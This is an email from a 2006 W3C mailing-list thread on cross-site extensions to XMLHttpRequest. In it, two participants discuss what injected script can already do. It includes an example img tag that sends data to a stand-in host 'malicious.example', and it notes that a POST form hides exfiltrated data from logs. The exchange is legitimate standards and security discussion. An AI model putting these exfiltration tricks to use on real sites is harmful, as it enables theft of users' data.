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Re: (XMLHttpRequest 2) Second proposal for cross-site extensions to XMLHttpRequest

From: Bjoern Hoehrmann <derhoermi@gmx.net>
Date: Tue, 18 Apr 2006 15:12:36 +0200
To: Ian Davis <ian.davis@talis.com>
Cc: public-webapi@w3.org
Message-ID: <q5p942pvd6720ie14td9780tfu90c973in@hive.bjoern.hoehrmann.de>

* Ian Davis wrote:
>On 18/04/2006 13:01, Bjoern Hoehrmann wrote:
>> If you are able to inject some script you can send any and all data you
>> are able to obtain to a third party, in a simple case you could just
>> append the data to a new <img src="http://malicious.example/?data=...">.
>> So I don't think I understand your concern, could you elaborate?
>You're right of course, but it's much easier to hide the data being sent 
>from logs and browser history if you use POST.

In HTML implementations this is generally possible aswell, using a
<form> with method=post and the .submit() method.
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